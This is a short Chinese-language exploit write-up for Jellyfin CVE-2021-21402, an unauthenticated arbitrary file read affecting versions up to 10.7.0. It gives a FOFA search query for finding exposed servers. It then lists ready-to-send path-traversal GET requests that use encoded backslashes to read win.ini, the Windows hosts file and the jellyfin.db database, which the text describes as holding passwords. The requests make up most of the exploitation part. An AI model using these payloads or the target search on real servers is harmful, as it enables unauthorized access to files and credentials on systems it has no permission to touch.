漏洞名称:
Jellyfin - CVE-2021-21402 任意文件读取漏洞
影响版本:
10.7.0及更早版本
产品介绍:
Jellyfin 是一个自由的软件媒体系统,用于控制和管理媒体和流媒体。
漏洞复现:
fofa搜索语句:title=“jellyfin”
漏洞利用
可以读取未经身份验证的任意文件
/Audio/{Id}/hls/{segmentId}/stream.mp3
/Audio/{Id}/hls/{segmentId}/stream.aac
不管是.mp3还是.aac都是可以未经授权读取windows的文件的 看起来似乎是只能读取mp3或者.aac结尾的文件 其实并不然 通过在URL路径中使用斜杠,返回一个空扩展名,从而获得对结果文件路径的完全控制。
例如下面这样
GET /Audio/anything/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.aac/ HTTP/1.1
GET /Audio/anything/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/ HTTP/1.1
还可以读取host、读取带有密码的数据库
GET /Audio/anything/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cdrivers%5Cetc%5Chosts/stream.mp3
GET /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ HTTP/1.1